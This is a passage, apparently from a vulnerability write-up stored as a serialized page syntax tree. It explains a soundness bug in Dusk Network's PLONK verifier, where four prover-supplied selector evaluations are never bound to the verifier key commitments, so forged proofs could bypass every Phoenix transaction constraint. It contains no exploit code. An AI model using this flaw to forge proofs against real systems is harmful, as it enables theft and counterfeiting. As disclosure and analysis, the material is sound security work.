construction.",{"type":21,"tag":19218,"props":145478,"children":145479},{},[],{"type":21,"tag":54,"props":145481,"children":145483},{"id":145482},"where-dusk-plonk-differs-from-textbook-plonk",[145484],{"type":26,"value":145485},"Where dusk-plonk differs from textbook PLONK",{"type":21,"tag":22,"props":145487,"children":145488},{},[145489,145498,145500,145505,145507,145537],{"type":21,"tag":335,"props":145490,"children":145492},{"href":142364,"rel":145491},[339],[145493],{"type":21,"tag":66,"props":145494,"children":145496},{"className":145495},[],[145497],{"type":26,"value":142368},{"type":26,"value":145499}," is not a literal transcription of the 2019 PLONK paper. It extends the arithmetic gate with a fourth wire ",{"type":21,"tag":66,"props":145501,"children":145503},{"className":145502},[],[145504],{"type":26,"value":71024},{"type":26,"value":145506},", adds custom widgets for range, logic, and elliptic-curve operations, uses shifted evaluations at ",{"type":21,"tag":66,"props":145508,"children":145510},{"className":145509},[4748,4749],[145511],{"type":21,"tag":85,"props":145512,"children":145514},{"className":145513},[4754],[145515],{"type":21,"tag":85,"props":145516,"children":145518},{"className":145517,"ariaHidden":4760},[4759],[145519],{"type":21,"tag":85,"props":145520,"children":145522},{"className":145521},[4765],[145523,145527,145532],{"type":21,"tag":85,"props":145524,"children":145526},{"className":145525,"style":111350},[4770],[],{"type":21,"tag":85,"props":145528,"children":145530},{"className":145529,"style":114066},[4776,22016],[145531],{"type":26,"value":114069},{"type":21,"tag":85,"props":145533,"children":145535},{"className":145534,"style":93995},[4776,22016],[145536],{"type":26,"value":145199},{"type":26,"value":145538},", and heavily batches KZG openings. None of that is exotic by modern PLONK standards, but it does make the verifier harder to reason about than the minimal paper presentation.",{"type":21,"tag":22,"props":145540,"children":145541},{},[145542,145544,145549,145550,145555,145557,145563,145565,145572],{"type":26,"value":145543},"The important part for this bug is the boundary between ",{"type":21,"tag":873,"props":145545,"children":145546},{},[145547],{"type":26,"value":145548},"public circuit data",{"type":26,"value":11408},{"type":21,"tag":873,"props":145551,"children":145552},{},[145553],{"type":26,"value":145554},"prover claims about that data at the random challenge point",{"type":26,"value":145556},". Parallel implementations avoid this ambiguity by keeping selector polynomials strictly out of the prover's hands. For example, Consensys' gnark (one of the most widely deployed PLONK implementations) never asks the prover for selector evaluations at all. Instead, the verifier incorporates the selector commitments ",{"type":21,"tag":66,"props":145558,"children":145560},{"className":145559},[],[145561],{"type":26,"value":145562},"Ql, Qr, Qm, Qo, Qk",{"type":26,"value":145564}," directly into the ",{"type":21,"tag":335,"props":145566,"children":145569},{"href":145567,"rel":145568},"https://github.com/Consensys/gnark/blob/17b079f1b813d9dafd465202466b09f282b4c5e9/backend/plonk/bls12-381/verify.go#L253-L270",[339],[145570],{"type":26,"value":145571},"linearization multi-scalar multiplication",{"type":26,"value":145573},", ensuring their values are cryptographically bound by construction.",{"type":21,"tag":22,"props":145575,"children":145576},{},[145577,145579,145604],{"type":26,"value":145578},"Dusk's custom widgets were more complex (multiplying selectors with other evaluated terms), so they could not just use a simple linear combination of commitments. Their architecture required evaluating the selectors at ",{"type":21,"tag":66,"props":145580,"children":145582},{"className":145581},[4748,4749],[145583],{"type":21,"tag":85,"props":145584,"children":145586},{"className":145585},[4754],[145587],{"type":21,"tag":85,"props":145588,"children":145590},{"className":145589,"ariaHidden":4760},[4759],[145591],{"type":21,"tag":85,"props":145592,"children":145594},{"className":145593},[4765],[145595,145599],{"type":21,"tag":85,"props":145596,"children":145598},{"className":145597,"style":111350},[4770],[],{"type":21,"tag":85,"props":145600,"children":145602},{"className":145601,"style":114066},[4776,22016],[145603],{"type":26,"value":114069},{"type":26,"value":145605}," and using those scalars. But while they serialized those four selector evaluations into the proof struct, they never actually verified them against the verifier key's commitments through an opening proof.",{"type":21,"tag":22,"props":145607,"children":145608},{},[145609],{"type":26,"value":145610},"The shortest way to see the bug is the graph below: safe values flow through the opening path toward the final pairing check, while the red selector flow enters verifier logic without ever touching an opening proof.",{"type":21,"tag":145612,"props":145613,"children":145614},"dusk-verifier-dependence-graph",{},[],{"type":21,"tag":19218,"props":145616,"children":145617},{},[],{"type":21,"tag":54,"props":145619,"children":145621},{"id":145620},"how-dusk-uses-plonk",[145622],{"type":26,"value":145623},"How Dusk uses PLONK",{"type":21,"tag":22,"props":145625,"children":145626},{},[145627,145633],{"type":21,"tag":335,"props":145628,"children":145630},{"href":142373,"rel":145629},[339],[145631],{"type":26,"value":145632},"Dusk Network",{"type":26,"value":145634}," is a privacy-focused L1 blockchain. Its transaction model has two modes:",{"type":21,"tag":17108,"props":145636,"children":145637},{},[145638,145643],{"type":21,"tag":845,"props":145639,"children":145640},{},[145641],{"type":26,"value":145642},"Phoenix (shielded): amounts and participants are hidden using ZK proofs, and every Phoenix transaction carries a PLONK proof that the transaction is valid.",{"type":21,"tag":845,"props":145644,"children":145645},{},[145646],{"type":26,"value":145647},"Moonlight (transparent): standard account-based transactions verified by BLS signatures, with no PLONK involvement.",{"type":21,"tag":22,"props":145649,"children":145650},{},[145651,145653,145664,145666,145677],{"type":26,"value":145652},"At node level, every ",{"type":21,"tag":335,"props":145654,"children":145657},{"href":145655,"rel":145656},"https://github.com/dusk-network/rusk/blob/264c1ec0f4c005ef043b87deb1c866035e034330/rusk/src/lib/node/vm.rs#L152-L185",[339],[145658],{"type":21,"tag":66,"props":145659,"children":145661},{"className":145660},[],[145662],{"type":26,"value":145663},"ProtocolTransaction::Phoenix",{"type":26,"value":145665}," goes through ",{"type":21,"tag":335,"props":145667,"children":145670},{"href":145668,"rel":145669},"https://github.com/dusk-network/rusk/blob/264c1ec0f4c005ef043b87deb1c866035e034330/rusk/src/lib/verifier.rs#L71-L82",[339],[145671],{"type":21,"tag":66,"props":145672,"children":145674},{"className":145673},[],[145675],{"type":26,"value":145676},"verify_proof_with_version()",{"type":26,"value":145678}," during preverification. If that PLONK proof verifies, the transaction is admitted to the mempool and can later be mined into a block. Moonlight-path transactions instead go through BLS signature verification.",{"type":21,"tag":22,"props":145680,"children":145681},{},[145682,145684,145695,145697,145708,145709,145720,145721,145732,145733,145744],{"type":26,"value":145683},"That same Phoenix proof path covers more than simple shielded transfers. Phoenix-path staking, reward withdrawals, unstaking, and Phoenix-to-Moonlight conversion all build a Phoenix transaction via ",{"type":21,"tag":335,"props":145685,"children":145688},{"href":145686,"rel":145687},"https://github.com/dusk-network/rusk/blob/264c1ec0f4c005ef043b87deb1c866035e034330/wallet-core/src/transaction.rs#L54-L95",[339],[145689],{"type":21,"tag":66,"props":145690,"children":145692},{"className":145691},[],[145693],{"type":26,"value":145694},"phoenix()",{"type":26,"value":145696},", for example in ",{"type":21,"tag":335,"props":145698,"children":145701},{"href":145699,"rel":145700},"https://github.com/dusk-network/rusk/blob/264c1ec0f4c005ef043b87deb1c866035e034330/wallet-core/src/transaction.rs#L144-L186",[339],[145702],{"type":21,"tag":66,"props":145703,"children":145705},{"className":145704},[],[145706],{"type":26,"value":145707},"phoenix_stake()",{"type":26,"value":256},{"type":21,"tag":335,"props":145710,"children":145713},{"href":145711,"rel":145712},"https://github.com/dusk-network/rusk/blob/264c1ec0f4c005ef043b87deb1c866035e034330/wallet-core/src/transaction.rs#L240-L298",[339],[145714],{"type":21,"tag":66,"props":145715,"children":145717},{"className":145716},[],[145718],{"type":26,"value":145719},"phoenix_stake_reward()",{"type":26,"value":256},{"type":21,"tag":335,"props":145722,"children":145725},{"href":145723,"rel":145724},"https://github.com/dusk-network/rusk/blob/264c1ec0f4c005ef043b87deb1c866035e034330/wallet-core/src/transaction.rs#L358-L416",[339],[145726],{"type":21,"tag":66,"props":145727,"children":145729},{"className":145728},[],[145730],{"type":26,"value":145731},"phoenix_unstake()",{"type":26,"value":820},{"type":21,"tag":335,"props":145734,"children":145737},{"href":145735,"rel":145736},"https://github.com/dusk-network/rusk/blob/264c1ec0f4c005ef043b87deb1c866035e034330/wallet-core/src/transaction.rs#L481-L539",[339],[145738],{"type":21,"tag":66,"props":145739,"children":145741},{"className":145740},[],[145742],{"type":26,"value":145743},"phoenix_to_moonlight()",{"type":26,"value":145745},". So if Phoenix proof verification is unsound, the entire shielded transaction path is exposed.",{"type":21,"tag":22,"props":145747,"children":145748},{},[145749],{"type":21,"tag":4681,"props":145750,"children":145753},{"alt":145751,"src":145752},"phoenix_moonlight","/posts/dusk-commitment-issues/phoenix_moonlight.svg",[],{"type":21,"tag":22,"props":145755,"children":145756},{},[145757,145759,145765,145767,145774],{"type":26,"value":145758},"The PLONK implementation, ",{"type":21,"tag":335,"props":145760,"children":145763},{"href":145761,"rel":145762},"https://github.com/dusk-network/plonk",[339],[145764],{"type":26,"value":142368},{"type":26,"value":145766},", is a standalone library by the Dusk team. It was among the first PLONK implementations written, with development starting the same year ",{"type":21,"tag":335,"props":145768,"children":145771},{"href":145769,"rel":145770},"https://eprint.iacr.org/archive/2019/953/1566424053.pdf",[339],[145772],{"type":26,"value":145773},"the original paper",{"type":26,"value":145775}," was released.",{"type":21,"tag":22,"props":145777,"children":145778},{},[145779,145781,145787],{"type":26,"value":145780},"The Phoenix transaction PLONK circuit is defined ",{"type":21,"tag":335,"props":145782,"children":145785},{"href":145783,"rel":145784},"https://github.com/dusk-network/phoenix/blob/1bb89b289b3d32115c49fdf80f7f4164578a283a/circuits/src/circuit_impl.rs#L20-L205",[339],[145786],{"type":26,"value":48039},{"type":26,"value":145788},". The circuit enforces the following set of constraints:",{"type":21,"tag":56201,"props":145790,"children":145791},{},[145792,145808],{"type":21,"tag":123460,"props":145793,"children":145794},{},[145795],{"type":21,"tag":123464,"props":145796,"children":145797},{},[145798,145803],{"type":21,"tag":123468,"props":145799,"children":145800},{},[145801],{"type":26,"value":145802},"Circuit check",{"type":21,"tag":123468,"props":145804,"children":145805},{},[145806],{"type":26,"value":145807},"Statement being checked",{"type":21,"tag":123488,"props":145809,"children":145810},{},[145811,145829,145847,145865,145883,146040,146180,146198],{"type":21,"tag":123464,"props":145812,"children":145813},{},[145814,145824],{"type":21,"tag":123495,"props":145815,"children":145816},{},[145817],{"type":21,"tag":335,"props":145818,"children":145821},{"href":145819,"rel":145820},"https://github.com/dusk-network/phoenix/blob/1bb89b289b3d32115c49fdf80f7f4164578a283a/circuits/src/circuit_impl.rs#L106-L126",[339],[145822],{"type":26,"value":145823},"Merkle tree membership",{"type":21,"tag":123495,"props":145825,"children":145826},{},[145827],{"type":26,"value":145828},"Each input note hash is opened against the public Merkle root, so only notes already in the note tree may be spent",{"type":21,"tag":123464,"props":145830,"children":145831},{},[145832,145842],{"type":21,"tag":123495,"props":145833,"children":145834},{},[145835],{"type":21,"tag":335,"props":145836,"children":145839},{"href":145837,"rel":145838},"https://github.com/dusk-network/phoenix/blob/1bb89b289b3d32115c49fdf80f7f4164578a283a/circuits/src/circuit_impl.rs#L70-L79",[339],[145840],{"type":26,"value":145841},"Input-note secret-key authorization",{"type":21,"tag":123495,"props":145843,"children":145844},{},[145845],{"type":26,"value":145846},"The prover knows the secret key controlling each input note",{"type":21,"tag":123464,"props":145848,"children":145849},{},[145850,145860],{"type":21,"tag":123495,"props":145851,"children":145852},{},[145853],{"type":21,"tag":335,"props":145854,"children":145857},{"href":145855,"rel":145856},"https://github.com/dusk-network/phoenix/blob/1bb89b289b3d32115c49fdf80f7f4164578a283a/circuits/src/circuit_impl.rs#L81-L87",[339],[145858],{"type":26,"value":145859},"Nullifier correctness",{"type":21,"tag":123495,"props":145861,"children":145862},{},[145863],{"type":26,"value":145864},"Each nullifier matches the corresponding note key and position",{"type":21,"tag":123464,"props":145866,"children":145867},{},[145868,145878],{"type":21,"tag":123495,"props":145869,"children":145870},{},[145871],{"type":21,"tag":335,"props":145872,"children":145875},{"href":145873,"rel":145874},"https://github.com/dusk-network/phoenix/blob/1bb89b289b3d32115c49fdf80f7f4164578a283a/circuits/src/circuit_impl.rs#L149-L160",[339],[145876],{"type":26,"value":145877},"Output value commitment correctness",{"type":21,"tag":123495,"props":145879,"children":145880},{},[145881],{"type":26,"value":145882},"Each public output commitment matches the secret output value and blinder",{"type":21,"tag":123464,"props":145884,"children":145885},{},[145886,145896],{"type":21,"tag":123495,"props":145887,"children":145888},{},[145889],{"type":21,"tag":335,"props":145890,"children":145893},{"href":145891,"rel":145892},"https://github.com/dusk-network/phoenix/blob/1bb89b289b3d32115c49fdf80f7f4164578a283a/circuits/src/circuit_impl.rs#L167-L178",[339],[145894],{"type":26,"value":145895},"Balance integrity",{"type":21,"tag":123495,"props":145897,"children":145898},{},[145899],{"type":21,"tag":66,"props":145900,"children":145902},{"className":145901},[4748,4749],[145903],{"type":21,"tag":85,"props":145904,"children":145906},{"className":145905},[4754],[145907],{"type":21,"tag":85,"props":145908,"children":145910},{"className":145909,"ariaHidden":4760},[4759],[145911,145951,145991,146023],{"type":21,"tag":85,"props":145912,"children":145914},{"className":145913},[4765],[145915,145919,145924,145928,145938,145942,145947],{"type":21,"tag":85,"props":145916,"children":145918},{"className":145917,"style":4878},[4770],[],{"type":21,"tag":85,"props":145920,"children":145922},{"className":145921,"style":22059},[22052,22057,22058],[145923],{"type":26,"value":109304},{"type":21,"tag":85,"props":145925,"children":145927},{"className":145926,"style":4896},[4857],[],{"type":21,"tag":85,"props":145929,"children":145931},{"className":145930},[4776,26],[145932],{"type":21,"tag":85,"props":145933,"children":145935},{"className":145934},[4776],[145936],{"type":26,"value":145937},"inputs",{"type":21,"tag":85,"props":145939,"children":145941},{"className":145940,"style":4955},[4857],[],{"type":21,"tag":85,"props":145943,"children":145945},{"className":145944},[4960],[145946],{"type":26,"value":741},{"type":21,"tag":85,"props":145948,"children":145950},{"className":145949,"style":4955},[4857],[],{"type":21,"tag":85,"props":145952,"children":145954},{"className":145953},[4765],[145955,145959,145964,145968,145978,145982,145987],{"type":21,"tag":85,"props":145956,"children":145958},{"className":145957,"style":4878},[4770],[],{"type":21,"tag":85,"props":145960,"children":145962},{"className":145961,"style":22059},[22052,22057,22058],[145963],{"type":26,"value":109304},{"type":21,"tag":85,"props":145965,"children":145967},{"className":145966,"style":4896},[4857],[],{"type":21,"tag":85,"props":145969,"children":145971},{"className":145970},[4776,26],[145972],{"type":21,"tag":85,"props":145973,"children":145975},{"className":145974},[4776],[145976],{"type":26,"value":145977},"outputs",{"type":21,"tag":85,"props":145979,"children":145981},{"className":145980,"style":4858},[4857],[],{"type":21,"tag":85,"props":145983,"children":145985},{"className":145984},[4863],[145986],{"type":26,"value":5151},{"type":21,"tag":85,"props":145988,"children":145990},{"className":145989,"style":4858},[4857],[],{"type":21,"tag":85,"props":145992,"children":145994},{"className":145993},[4765],[145995,146000,146010,146014,146019],{"type":21,"tag":85,"props":145996,"children":145999},{"className":145997,"style":145998},[4770],"height:0.7778em;vertical-align:-0.0833em;",[],{"type":21,"tag":85,"props":146001,"children":146003},{"className":146002},[4776,26],[146004],{"type":21,"tag":85,"props":146005,"children":146007},{"className":146006},[4776],[146008],{"type":26,"value":146009},"fee",{"type":21,"tag":85,"props":146011,"children":146013},{"className":146012,"style":4858},[4857],[],{"type":21,"tag":85,"props":146015,"children":146017},{"className":146016},[4863],[146018],{"type":26,"value":5151},{"type":21,"tag":85,"props":146020,"children":146022},{"className":146021,"style":4858},[4857],[],{"type":21,"tag":85,"props":146024,"children":146026},{"className":146025},[4765],[146027,146031],{"type":21,"tag":85,"props":146028,"children":146030},{"className":146029,"style":115564},[4770],[],{"type":21,"tag":85,"props":146032,"children":146034},{"className":146033},[4776,26],[146035],{"type":21,"tag":85,"props":146036,"children":146038},{"className":146037},[4776],[146039],{"type":26,"value":62421},{"type":21,"tag":123464,"props":146041,"children":146042},{},[146043,146060],{"type":21,"tag":123495,"props":146044,"children":146045},{},[146046,146053,146054],{"type":21,"tag":335,"props":146047,"children":146050},{"href":146048,"rel":146049},"https://github.com/dusk-network/phoenix/blob/1bb89b289b3d32115c49fdf80f7f4164578a283a/circuits/src/circuit_impl.rs#L89-L90",[339],[146051],{"type":26,"value":146052},"Range checks on inputs",{"type":26,"value":11408},{"type":21,"tag":335,"props":146055,"children":146058},{"href":146056,"rel":146057},"https://github.com/dusk-network/phoenix/blob/1bb89b289b3d32115c49fdf80f7f4164578a283a/circuits/src/circuit_impl.rs#L141-L142",[339],[146059],{"type":26,"value":145977},{"type":21,"tag":123495,"props":146061,"children":146062},{},[146063,146065],{"type":26,"value":146064},"All note values lie in ",{"type":21,"tag":66,"props":146066,"children":146068},{"className":146067},[4748,4749],[146069],{"type":21,"tag":85,"props":146070,"children":146072},{"className":146071},[4754],[146073],{"type":21,"tag":85,"props":146074,"children":146076},{"className":146075,"ariaHidden":4760},[4759],[146077,146162],{"type":21,"tag":85,"props":146078,"children":146080},{"className":146079},[4765],[146081,146085,146090,146095,146100,146104,146149,146153,146158],{"type":21,"tag":85,"props":146082,"children":146084},{"className":146083,"style":115821},[4770],[],{"type":21,"tag":85,"props":146086,"children":146088},{"className":146087},[22145],[146089],{"type":26,"value":3016},{"type":21,"tag":85,"props":146091,"children":146093},{"className":146092},[4776],[146094],{"type":26,"value":4789},{"type":21,"tag":85,"props":146096,"children":146098},{"className":146097},[4889],[146099],{"type":26,"value":4892},{"type":21,"tag":85,"props":146101,"children":146103},{"className":146102,"style":4896},[4857],[],{"type":21,"tag":85,"props":146105,"children":146107},{"className":146106},[4776],[146108,146113],{"type":21,"tag":85,"props":146109,"children":146111},{"className":146110},[4776],[146112],{"type":26,"value":3895},{"type":21,"tag":85,"props":146114,"children":146116},{"className":146115},[4793],[146117],{"type":21,"tag":85,"props":146118,"children":146120},{"className":146119},[4798],[146121],{"type":21,"tag":85,"props":146122,"children":146124},{"className":146123},[4803],[146125],{"type":21,"tag":85,"props":146126,"children":146128},{"className":146127,"style":4771},[4808],[146129],{"type":21,"tag":85,"props":146130,"children":146131},{"style":4812},[146132,146136],{"type":21,"tag":85,"props":146133,"children":146135},{"className":146134,"style":4818},[4817],[],{"type":21,"tag":85,"props":146137,"children":146139},{"className":146138},[4823,4824,4825,4826],[146140],{"type":21,"tag":85,"props":146141,"children":146143},{"className":146142},[4776,4826],[146144],{"type":21,"tag":85,"props":146145,"children":146147},{"className":146146},[4776,4826],[146148],{"type":26,"value":29866},{"type":21,"tag":85,"props":146150,"children":146152},{"className":146151,"style":4858},[4857],[],{"type":21,"tag":85,"props":146154,"children":146156},{"className":146155},[4863],[146157],{"type":26,"value":4837},{"type":21,"tag":85,"props":146159,"children":146161},{"className":146160,"style":4858},[4857],[],{"type":21,"tag":85,"props":146163,"children":146165},{"className":146164},[4765],[146166,146170,146175],{"type":21,"tag":85,"props":146167,"children":146169},{"className":146168,"style":4878},[4770],[],{"type":21,"tag":85,"props":146171,"children":146173},{"className":146172},[4776],[146174],{"type":26,"value":4779},{"type":21,"tag":85,"props":146176,"children":146178},{"className":146177},[22167],[146179],{"type":26,"value":15830},{"type":21,"tag":123464,"props":146181,"children":146182},{},[146183,146193],{"type":21,"tag":123495,"props":146184,"children":146185},{},[146186],{"type":21,"tag":335,"props":146187,"children":146190},{"href":146188,"rel":146189},"https://github.com/dusk-network/phoenix/blob/1bb89b289b3d32115c49fdf80f7f4164578a283a/circuits/src/sender_enc.rs#L28-L51",[339],[146191],{"type":26,"value":146192},"Sender-authorship signatures",{"type":21,"tag":123495,"props":146194,"children":146195},{},[146196],{"type":26,"value":146197},"The transaction payload is signed by the sender's two signing key components",{"type":21,"tag":123464,"props":146199,"children":146200},{},[146201,146211],{"type":21,"tag":123495,"props":146202,"children":146203},{},[146204],{"type":21,"tag":335,"props":146205,"children":146208},{"href":146206,"rel":146207},"https://github.com/dusk-network/phoenix/blob/1bb89b289b3d32115c49fdf80f7f4164578a283a/circuits/src/sender_enc.rs#L63-L121",[339],[146209],{"type":26,"value":146210},"Sender encryption correctness",{"type":21,"tag":123495,"props":146212,"children":146213},{},[146214],{"type":26,"value":146215},"The sender data attached to each output note is a correct ElGamal encryption under the recipient note key",{"type":21,"tag":22,"props":146217,"children":146218},{},[146219,146221,146227,146229,146238],{"type":26,"value":146220},"Rusk does not consume these claims one by one. It consumes a single valid/invalid proof verdict over ",{"type":21,"tag":66,"props":146222,"children":146224},{"className":146223},[],[146225],{"type":26,"value":146226},"tx.public_inputs()",{"type":26,"value":146228}," via ",{"type":21,"tag":335,"props":146230,"children":146232},{"href":145668,"rel":146231},[339],[146233],{"type":21,"tag":66,"props":146234,"children":146236},{"className":146235},[],[146237],{"type":26,"value":145676},{"type":26,"value":73},{"type":21,"tag":22,"props":146240,"children":146241},{},[146242],{"type":26,"value":146243},"A soundness break in PLONK voids all of these constraints simultaneously, because forged selector evaluations make the entire circuit unconstrained rather than targeting any single check.",{"type":21,"tag":19218,"props":146245,"children":146246},{},[],{"type":21,"tag":54,"props":146248,"children":146249},{"id":90763},[146250],{"type":26,"value":146251},"The bug",{"type":21,"tag":22,"props":146253,"children":146254},{},[146255,146257,146264,146266,146277],{"type":26,"value":146256},"In the ",{"type":21,"tag":335,"props":146258,"children":146261},{"href":146259,"rel":146260},"https://github.com/dusk-network/plonk/blob/82c08e8f11f2db774e4e8d28e6ba7ef833cbff25/src/proof_system/proof.rs#L362-L400",[339],[146262],{"type":26,"value":146263},"PLONK verification",{"type":26,"value":146265},", the verifier batches polynomial evaluations into a single KZG opening proof check. The evaluations included in this batch (committed via ",{"type":21,"tag":335,"props":146267,"children":146270},{"href":146268,"rel":146269},"https://github.com/dusk-network/plonk/blob/82c08e8f11f2db774e4e8d28e6ba7ef833cbff25/src/proof_system/proof.rs#L362-L373",[339],[146271],{"type":21,"tag":66,"props":146272,"children":146274},{"className":146273},[],[146275],{"type":26,"value":146276},"E_evals",{"type":26,"value":146278},") are:",{"type":21,"tag":17108,"props":146280,"children":146281},{},[146282,146314,146339,146364],{"type":21,"tag":845,"props":146283,"children":146284},{},[146285,146291,146292,146298,146299,146305,146306,146312],{"type":21,"tag":66,"props":146286,"children":146288},{"className":146287},[],[146289],{"type":26,"value":146290},"a_eval",{"type":26,"value":256},{"type":21,"tag":66,"props":146293,"children":146295},{"className":146294},[],[146296],{"type":26,"value":146297},"b_eval",{"type":26,"value":256},{"type":21,"tag":66,"props":146300,"children":146302},{"className":146301},[],[146303],{"type":26,"value":146304},"c_eval",{"type":26,"value":256},{"type":21,"tag":66,"props":146307,"children":146309},{"className":146308},[],[146310],{"type":26,"value":146311},"d_eval",{"type":26,"value":146313}," (witness)",{"type":21,"tag":845,"props":146315,"children":146316},{},[146317,146323,146324,146330,146331,146337],{"type":21,"tag":66,"props":146318,"children":146320},{"className":146319},[],[146321],{"type":26,"value":146322},"s_sigma_1_eval",{"type":26,"value":256},{"type":21,"tag":66,"props":146325,"children":146327},{"className":146326},[],[146328],{"type":26,"value":146329},"s_sigma_2_eval",{"type":26,"value":256},{"type":21,"tag":66,"props":146332,"children":146334},{"className":146333},[],[146335],{"type":26,"value":146336},"s_sigma_3_eval",{"type":26,"value":146338}," (permutation)",{"type":21,"tag":845,"props":146340,"children":146341},{},[146342,146348,146349,146355,146356,146362],{"type":21,"tag":66,"props":146343,"children":146345},{"className":146344},[],[146346],{"type":26,"value":146347},"a_w_eval",{"type":26,"value":256},{"type":21,"tag":66,"props":146350,"children":146352},{"className":146351},[],[146353],{"type":26,"value":146354},"b_w_eval",{"type":26,"value":256},{"type":21,"tag":66,"props":146357,"children":146359},{"className":146358},[],[146360],{"type":26,"value":146361},"d_w_eval",{"type":26,"value":146363}," (shifted witness)",{"type":21,"tag":845,"props":146365,"children":146366},{},[146367,146373],{"type":21,"tag":66,"props":146368,"children":146370},{"className":146369},[],[146371],{"type":26,"value":146372},"z_eval",{"type":26,"value":146374}," (permutation accumulator)",{"type":21,"tag":22,"props":146376,"children":146377},{},[146378,146380,146384],{"type":26,"value":146379},"But the following selector evaluations were ",{"type":21,"tag":39,"props":146381,"children":146382},{},[146383],{"type":26,"value":18913},{"type":26,"value":146385}," included:",{"type":21,"tag":17108,"props":146387,"children":146388},{},[146389,146400,146411,146422],{"type":21,"tag":845,"props":146390,"children":146391},{},[146392,146398],{"type":21,"tag":66,"props":146393,"children":146395},{"className":146394},[],[146396],{"type":26,"value":146397},"q_arith_eval",{"type":26,"value":146399}," (arithmetic selector)",{"type":21,"tag":845,"props":146401,"children":146402},{},[146403,146409],{"type":21,"tag":66,"props":146404,"children":146406},{"className":146405},[],[146407],{"type":26,"value":146408},"q_c_eval",{"type":26,"value":146410}," (constant selector)",{"type":21,"tag":845,"props":146412,"children":146413},{},[146414,146420],{"type":21,"tag":66,"props":146415,"children":146417},{"className":146416},[],[146418],{"type":26,"value":146419},"q_l_eval",{"type":26,"value":146421}," (left selector)",{"type":21,"tag":845,"props":146423,"children":146424},{},[146425,146431],{"type":21,"tag":66,"props":146426,"children":146428},{"className":146427},[],[146429],{"type":26,"value":146430},"q_r_eval",{"type":26,"value":146432}," (right selector)",{"type":21,"tag":22,"props":146434,"children":146435},{},[146436,146438,146445,146446,146453,146454,146461,146462,146469],{"type":26,"value":146437},"The prover places four selector evaluations in the proof struct. The verifier absorbs them into the transcript, and the widget verifier code uses them directly in the linearization check (",{"type":21,"tag":335,"props":146439,"children":146442},{"href":146440,"rel":146441},"https://github.com/dusk-network/plonk/blob/82c08e8f11f2db774e4e8d28e6ba7ef833cbff25/src/proof_system/linearization_poly.rs#L33-L83",[339],[146443],{"type":26,"value":146444},"proof struct",{"type":26,"value":256},{"type":21,"tag":335,"props":146447,"children":146450},{"href":146448,"rel":146449},"https://github.com/dusk-network/plonk/blob/82c08e8f11f2db774e4e8d28e6ba7ef833cbff25/src/proof_system/proof.rs#L255-L286",[339],[146451],{"type":26,"value":146452},"transcript absorption",{"type":26,"value":256},{"type":21,"tag":335,"props":146455,"children":146458},{"href":146456,"rel":146457},"https://github.com/dusk-network/plonk/blob/82c08e8f11f2db774e4e8d28e6ba7ef833cbff25/src/proof_system/widget/arithmetic/verifierkey.rs#L92-L118",[339],[146459],{"type":26,"value":146460},"arithmetic widget",{"type":26,"value":256},{"type":21,"tag":335,"props":146463,"children":146466},{"href":146464,"rel":146465},"https://github.com/dusk-network/plonk/blob/82c08e8f11f2db774e4e8d28e6ba7ef833cbff25/src/proof_system/widget/ecc/scalar_mul/fixed_base/verifierkey.rs#L46-L102",[339],[146467],{"type":26,"value":146468},"fixed-base ECC widget",{"type":26,"value":146470},"). But they are never checked against the corresponding selector commitments in the verifier key, even though those commitments already exist. The prover sends whatever values it wants and the verifier trusts them.",{"type":21,"tag":22,"props":146472,"children":146473},{},[146474,146476,146480],{"type":26,"value":146475},"The easiest way to see why these four omissions are special is to contrast them with two nearby cases that are ",{"type":21,"tag":39,"props":146477,"children":146478},{},[146479],{"type":26,"value":18913},{"type":26,"value":146481}," bugs:",{"type":21,"tag":17108,"props":146483,"children":146484},{},[146485,146625],{"type":21,"tag":845,"props":146486,"children":146487},{},[146488,146490,146535,146537,146543,146545,146550,146551,146556,146557,146562,146564,146570,146572,146617,146619,146624],{"type":26,"value":146489},"There is no prover-supplied ",{"type":21,"tag":66,"props":146491,"children":146493},{"className":146492},[4748,4749],[146494],{"type":21,"tag":85,"props":146495,"children":146497},{"className":146496},[4754],[146498],{"type":21,"tag":85,"props":146499,"children":146501},{"className":146500,"ariaHidden":4760},[4759],[146502],{"type":21,"tag":85,"props":146503,"children":146505},{"className":146504},[4765],[146506,146510,146515,146520,146525,146530],{"type":21,"tag":85,"props":146507,"children":146509},{"className":146508,"style":4878},[4770],[],{"type":21,"tag":85,"props":146511,"children":146513},{"className":146512},[4776,22016],[146514],{"type":26,"value":3918},{"type":21,"tag":85,"props":146516,"children":146518},{"className":146517},[22145],[146519],{"type":26,"value":1439},{"type":21,"tag":85,"props":146521,"children":146523},{"className":146522,"style":114066},[4776,22016],[146524],{"type":26,"value":114069},{"type":21,"tag":85,"props":146526,"children":146528},{"className":146527,"style":93995},[4776,22016],[146529],{"type":26,"value":145199},{"type":21,"tag":85,"props":146531,"children":146533},{"className":146532},[22167],[146534],{"type":26,"value":1900},{"type":26,"value":146536}," field at all. ",{"type":21,"tag":66,"props":146538,"children":146540},{"className":146539},[],[146541],{"type":26,"value":146542},"ProofEvaluations",{"type":26,"value":146544}," contains ",{"type":21,"tag":66,"props":146546,"children":146548},{"className":146547},[],[146549],{"type":26,"value":146347},{"type":26,"value":256},{"type":21,"tag":66,"props":146552,"children":146554},{"className":146553},[],[146555],{"type":26,"value":146354},{"type":26,"value":820},{"type":21,"tag":66,"props":146558,"children":146560},{"className":146559},[],[146561],{"type":26,"value":146361},{"type":26,"value":146563},", but no ",{"type":21,"tag":66,"props":146565,"children":146567},{"className":146566},[],[146568],{"type":26,"value":146569},"c_w_eval",{"type":26,"value":146571},", so the verifier never consumes an unbound ",{"type":21,"tag":66,"props":146573,"children":146575},{"className":146574},[4748,4749],[146576],{"type":21,"tag":85,"props":146577,"children":146579},{"className":146578},[4754],[146580],{"type":21,"tag":85,"props":146581,"children":146583},{"className":146582,"ariaHidden":4760},[4759],[146584],{"type":21,"tag":85,"props":146585,"children":146587},{"className":146586},[4765],[146588,146592,146597,146602,146607,146612],{"type":21,"tag":85,"props":146589,"children":146591},{"className":146590,"style":4878},[4770],[],{"type":21,"tag":85,"props":146593,"children":146595},{"className":146594},[4776,22016],[146596],{"type":26,"value":3918},{"type":21,"tag":85,"props":146598,"children":146600},{"className":146599},[22145],[146601],{"type":26,"value":1439},{"type":21,"tag":85,"props":146603,"children":146605},{"className":146604,"style":114066},[4776,22016],[146606],{"type":26,"value":114069},{"type":21,"tag":85,"props":146608,"children":146610},{"className":146609,"style":93995},[4776,22016],[146611],{"type":26,"value":145199},{"type":21,"tag":85,"props":146613,"children":146615},{"className":146614},[22167],[146616],{"type":26,"value":1900},{"type":26,"value":146618}," claim 